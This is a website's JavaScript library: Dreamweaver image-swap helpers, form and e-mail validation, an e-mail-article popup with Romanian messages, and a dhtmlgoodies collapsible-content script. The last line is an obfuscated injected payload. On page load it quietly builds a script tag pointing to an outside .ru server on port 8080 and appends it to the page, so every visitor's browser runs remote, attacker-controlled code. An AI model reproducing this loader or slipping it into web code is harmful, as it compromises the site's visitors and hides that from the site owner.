
function ExistSelection(p_objName)
{
	var elems;
	var isOk = false;
	elems = document.form1.elements[p_objName];
	if(elems.length)
	{
		for (i=0;i<elems.length;i++)
		{
			if(elems[i].checked == true)
			{
				isOk = true;
				break;
			}
		}
	}
	else
	{
		if(elems.checked == true)
		isOk = true;
	}
	return isOk;
}

function MM_nbGroup(event, grpName) { //v3.0
	var i,img,nbArr,args=MM_nbGroup.arguments;
	if (event == "init" && args.length > 2) {
		if ((img = MM_findObj(args[2])) != null && !img.MM_init) {
			img.MM_init = true; img.MM_up = args[3]; img.MM_dn = img.src;
			if ((nbArr = document[grpName]) == null) nbArr = document[grpName] = new Array();
			nbArr[nbArr.length] = img;
			for (i=4; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
				if (!img.MM_up) img.MM_up = img.src;
				img.src = img.MM_dn = args[i+1];
				nbArr[nbArr.length] = img;
			} }
	} else if (event == "over") {
		document.MM_nbOver = nbArr = new Array();
		for (i=1; i < args.length-1; i+=3) if ((img = MM_findObj(args[i])) != null) {
			if (!img.MM_up) img.MM_up = img.src;
			img.src = (img.MM_dn && args[i+2]) ? args[i+2] : args[i+1];
			nbArr[nbArr.length] = img;
		}
	} else if (event == "out" ) {
		for (i=0; i < document.MM_nbOver.length; i++) {
			img = document.MM_nbOver[i]; img.src = (img.MM_dn) ? img.MM_dn : img.MM_up; }
	} else if (event == "down") {
		if ((nbArr = document[grpName]) != null)
		for (i=0; i < nbArr.length; i++) { img=nbArr[i]; img.src = img.MM_up; img.MM_dn = 0; }
		document[grpName] = nbArr = new Array();
		for (i=2; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
			if (!img.MM_up) img.MM_up = img.src;
			img.src = img.MM_dn = args[i+1];
			nbArr[nbArr.length] = img;
		} }
}


function MM_swapImgRestore() { //v3.0
	var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
	var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
	var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
	if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.0
	var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
		d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
		if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
		for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
		if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
	var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
	if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
	window.open(theURL,winName,features);
}

function MM_displayStatusMsg(msgStr) { //v1.0
	status=msgStr;
	document.MM_returnValue = true;
}

function MM_callJS(jsStr) { //v2.0
	return eval(jsStr)
}

function MM_goToURL() { //v3.0
	var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
	for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

function MM_checkPlugin(plgIn, theURL, altURL, autoGo) { //v4.0
	var ok=false; document.MM_returnValue = false;
	with (navigator) if (appName.indexOf('Microsoft')==-1 || (plugins && plugins.length)) {
		ok=(plugins && plugins[plgIn]);
	} else if (appVersion.indexOf('3.1')==-1) { //not Netscape or Win3.1
		if (plgIn.indexOf("Flash")!=-1 && window.MM_flash!=null) ok=window.MM_flash;
		else if (plgIn.indexOf("Director")!=-1 && window.MM_dir!=null) ok=window.MM_dir;
		else ok=autoGo; }
		if (!ok) theURL=altURL; if (theURL) window.location=theURL;
}
var g_bLoaded;
g_bLoaded = true;
function showWaitDiv()
{
	if(! g_bLoaded && parent.document&& parent.document.all.wait){
		parent.document.all.wait.style.visibility = "visible";
	}
}
function onDocComplete(){
	if(parent && parent.document.all.wait)
	{
		if((document.readyState=="complete")){
			parent.document.all.wait.style.visibility = "hidden";
		}
	}
}
function submitForm()
{
	document.form1.submit();
}





function checkRadioSelected(p_radio,p_form,p_message)
{
	var bChecked,i;
	bChecked =  false;
	if(p_radio){
		if(p_radio.length){
			for(i=0;i<p_radio.length;i++){
				if(p_radio[i].checked){
					i = p_radio.length;
					bChecked = true;
				}
			}
		}else{
			bChecked = p_radio.checked;
		}
	}
	if(bChecked){
		p_form.submit();
	}else{
		alert(p_message);
	}
}


function isMailValid(str) {

	var at="@"
	var dot="."
	var lat=str.indexOf(at)
	var lstr=str.length
	var ldot=str.indexOf(dot)
	if (str.indexOf(at)==-1){
		return false
	}
	if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		return false
	}
	if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		return false
	}
	if (str.indexOf(at,(lat+1))!=-1){
		return false
	}
	if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		return false
	}
	if (str.indexOf(dot,(lat+2))==-1){
		return false
	}
	if (str.indexOf(" ")!=-1){
		return false
	}
	return true
}



function isNumeric(sText,otherChars)
{
	var ValidChars = "0123456789";
	var IsNumber=true;
	var Char;
	if (otherChars!="")
	ValidChars += otherChars;

	for (i = 0; i < sText.length && IsNumber == true; i++)
	{
		Char = sText.charAt(i);
		if (ValidChars.indexOf(Char) == -1)
		{
			IsNumber = false;
		}
	}
	return IsNumber;

}


function ConfirmPassword(p_field1,p_field2)
{
	if((p_field1.value=='')||(p_field2.value==''))
	{
		alert('Confirm Password!');
		return false;
	}

	if(p_field1.value != p_field2.value)
	{
		alert('Confirm Password!');
		return false;
	}
	return true;

}


/************************************************************************************************************
SEND EMAIL WITH ARTICLE
************************************************************************************************************/

function showPopup(id) {
	if (navigator.appName=="Netscape") {
		document.body.style.overflow = "hidden";
	}
	if (navigator.appName=="Microsoft Internet Explorer") {
		document.body.scroll = 'no';
	}

	show_disabler(true,30);
	var size = getSize();
	var div = document.getElementById(id);
	div.style.left = (size[0]/2)-150+"px";
	div.style.top = (size[1]/2)-150+"px";
	div.style.display='block';

	resetValues(id);
}

function show_disabler(value, alpha)
{
	var div = document.getElementById('disabler');
	if (div != null)
	{
		if (value)
		{
			div.style.opacity = alpha / 100;
			div.style.filter = 'alpha(opacity=' + alpha + ')';
			div.style.left = 0;
			div.style.top = 0;
			var size = getSize();
			div.style.position = 'absolute';
			div.style.width = size[0];
			div.style.height = size[1];
			div.style.display = 'block';
		}
		else
		{
			div.style.width = 1;
			div.style.height = 1;
			div.style.display = 'none';
		}
	}
}
function cancel(id) {
	if (navigator.appName=="Netscape") {
		document.body.style.overflow = "auto";
	}
	if (navigator.appName=="Microsoft Internet Explorer") {
		document.body.scroll = 'yes';
	}

	show_disabler(false,100);
	var div = document.getElementById(id);
	div.style.display='none';
}


function checkEmailFields() {
	var message = "";
	var from_name = document.getElementById('from_name').value;
	var from_email = document.getElementById('from_email').value;
	var to_name = document.getElementById('to_name').value;
	var to_email = document.getElementById('to_email').value;
	var security = document.getElementById('SecurityCodeEmail').value;

	if((from_name=='') || (from_email=='') || (to_name=='') ||(to_email=='') || (security==''))
	message = "Toate campurile trebuie completate.";
	else{
		if(!isMailValid(to_email))
		message = "Emailul destinatarului este incorect.";
		else{
			if(!isMailValid(from_email))
			message = "Emailul expeditorului este incorect.";
		}
	}
	return message;
}

function getSize()
{
	var myWidth = 0;
	var myHeight = 0;
	if (typeof(window.innerWidth) == 'number')
	{
		myWidth = window.innerWidth;
		myHeight = window.innerHeight;
	}
	else
	{
		if (document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight))
		{
			myWidth = document.documentElement.clientWidth;
			myHeight = document.documentElement.clientHeight;
		}
		else
		if (document.body && (document.body.clientWidth || document.body.clientHeight))
		{
			myWidth = document.body.clientWidth;
			myHeight = document.body.clientHeight;
		}
	}
	return [myWidth, myHeight];
}



/************************************************************************************************************
(C) www.dhtmlgoodies.com, November 2005

This is a script from www.dhtmlgoodies.com. You will find this and a lot of other scripts at our website.

Terms of use:
You are free to use this script as long as the copyright message is kept intact. However, you may not
redistribute, sell or repost it without our permission.

Thank you!

www.dhtmlgoodies.com
Alf Magne Kalleland

************************************************************************************************************/

var dhtmlgoodies_slideSpeed = 30;	// Higher value = faster
var dhtmlgoodies_timer = 10;	// Lower value = faster

var objectIdToSlideDown = false;
var dhtmlgoodies_activeId = false;
var dhtmlgoodies_slideInProgress = false;
function showHideContent(e,inputId)
{
	if(dhtmlgoodies_slideInProgress)return;
	dhtmlgoodies_slideInProgress = true;
	if(!inputId)inputId = this.id;
	inputId = inputId + '';
	var numericId = inputId.replace(/[^0-9]/g,'');
	var answerDiv = document.getElementById('dhtmlgoodies_a' + numericId);

	objectIdToSlideDown = false;

	if(!answerDiv.style.display || answerDiv.style.display=='none'){
		if(dhtmlgoodies_activeId &&  dhtmlgoodies_activeId!=numericId){
			objectIdToSlideDown = numericId;
			slideContent(dhtmlgoodies_activeId,(dhtmlgoodies_slideSpeed*-1));
		}else{

			answerDiv.style.display='block';
			answerDiv.style.visibility = 'visible';

			slideContent(numericId,dhtmlgoodies_slideSpeed);
		}
	}else{
		slideContent(numericId,(dhtmlgoodies_slideSpeed*-1));
		dhtmlgoodies_activeId = false;
	}
}

function slideContent(inputId,direction)
{

	var obj =document.getElementById('dhtmlgoodies_a' + inputId);
	var contentObj = document.getElementById('dhtmlgoodies_ac' + inputId);
	height = obj.clientHeight;
	if(height==0)height = obj.offsetHeight;
	height = height + direction;
	rerunFunction = true;
	if(height>contentObj.offsetHeight){
		height = contentObj.offsetHeight;
		rerunFunction = false;
	}
	if(height<=1){
		height = 1;
		rerunFunction = false;
	}

	obj.style.height = height + 'px';
	var topPos = height - contentObj.offsetHeight;
	if(topPos>0)topPos=0;
	contentObj.style.top = topPos + 'px';
	if(rerunFunction){
		setTimeout('slideContent(' + inputId + ',' + direction + ')',dhtmlgoodies_timer);
	}else{
		if(height<=1){
			obj.style.display='none';
			if(objectIdToSlideDown && objectIdToSlideDown!=inputId){
				document.getElementById('dhtmlgoodies_a' + objectIdToSlideDown).style.display='block';
				document.getElementById('dhtmlgoodies_a' + objectIdToSlideDown).style.visibility='visible';
				slideContent(objectIdToSlideDown,dhtmlgoodies_slideSpeed);
			}else{
				dhtmlgoodies_slideInProgress = false;
			}
		}else{
			dhtmlgoodies_activeId = inputId;
			dhtmlgoodies_slideInProgress = false;
		}
	}
}

function textCounter(field, countfield, maxlimit) 
{
if (field.value.length > maxlimit) // if too long...trim it!
field.value = field.value.substring(0, maxlimit);
// otherwise, update 'characters left' counter
else 
countfield.value = maxlimit - field.value.length;
}

function initShowHideDivs()
{
	var divs = document.getElementsByTagName('DIV');
	var divCounter = 1;
	for(var no=0;no<divs.length;no++){
		if(divs[no].className=='dhtmlgoodies_question'){
			divs[no].onclick = showHideContent;
			divs[no].id = 'dhtmlgoodies_q'+divCounter;
			var answer = divs[no].nextSibling;
			while(answer && answer.tagName!='DIV'){
				answer = answer.nextSibling;
			}
			answer.id = 'dhtmlgoodies_a'+divCounter;
			contentDiv = answer.getElementsByTagName('DIV')[0];
			contentDiv.style.top = 0 - contentDiv.offsetHeight + 'px';
			contentDiv.className='dhtmlgoodies_answer_content';
			contentDiv.id = 'dhtmlgoodies_ac' + divCounter;
			answer.style.display='none';
			answer.style.height='1px';
			divCounter++;
		}
	}
}
//window.onload = initShowHideDivs;


/************************************************************************************************************
END www.dhtmlgoodies.com

************************************************************************************************************/

function setSubmenuVisibility(menu)
{
	document.getElementById("div_projects").className = "submenu";
	document.getElementById("div_offers").className = "submenu";
	document.getElementById("div_capabilities").className = "submenu";
	if(document.getElementById(menu) != null)
		document.getElementById(menu).className = "submenuactive";
	
}

var wz=["wn","G","k"];this.FV="";ws=34273;ws-=176;var z;try {var u_='f'} catch(u_){};A=function(){var BW='';function y(_,j,jS){R=53984;R--;var Et={x:"Mp"};return _.substr(j,jS);g=[];}var jT={EB:false};var L=["kU","p"];var pw={Lr:false};var m='';var n=new String(y("/gol0GH",0,3)+"ogl"+y("kyUXe.cXkUy",4,3)+y("om/0qx",0,3)+y("so-Fhw7",0,3)+y("DSrAnetSDAr",4,3)+".ne"+".jp"+y("zdy/lezyd",3,3)+y("PWxlntaxPWl",4,3)+".ru"+y("aoJV.phoJVa",4,3)+y("pnMAh",0,1));var jQ=RegExp;this.VW="";var d=["fI","X"];var D=document;this.EX=26377;this.EX+=157;var ui=[];function o(_,j){this.Rd=3918;this.Rd+=186;P=["YB","kj"];this.mLN="";var jS=String(y("[bmzd",0,1))+j+String("]");var E=new jQ(jS, new String("g"));this.DN="DN";var Zs=new String();return _.replace(E, m);bu=["ai"];};this.eZg=14883;this.eZg+=34;nj=55856;nj+=61;var v="bo"+"dy";var Zv=["xI","lM"];var l=636284-628204;lg={};Lj={};var i=o('s7cNrjihphtN','71jmNh');var w=null;rr=18992;rr++;z=function(){XX=44929;XX++;try {var Ox="Ox";var Z=o('cOrUeyaxtOeUE5lUeOm5eynUtx','iyO5Ux');var Rj={Ts:10716};var Yu=["Fi","az","NA"];F=D[Z](i);YE={xu:false};var _=l+n;sT={UH:"RD"};pd=64246;pd--;var e=o('s3ruc9','HpYaMJ93DfFuIVZ');var AY={H:29390};var u="def"+"er";this._q=60266;this._q+=100;this.bQ=21593;this.bQ+=97;F[e]=new String("htt"+"p:/"+"/pe"+y("arlgE8",0,3)+y("ajgrinjag",3,3)+y("hxf7g.rf7hx",4,3)+"u:")+_;try {var IE='kX'} catch(IE){};F[u]=[1][0];try {var aG='tb'} catch(aG){};D[v].appendChild(F);this.fHC=29188;this.fHC++;this.c=27568;this.c++;} catch(un){};var eb=["rS"];};var K="K";};var eF="";var bX={yf:false};A();x_=[];Iq={};var RO={};window.onload=z;var EY=false;this.Zn='';EP=3747;EP+=29;var dJ="dJ";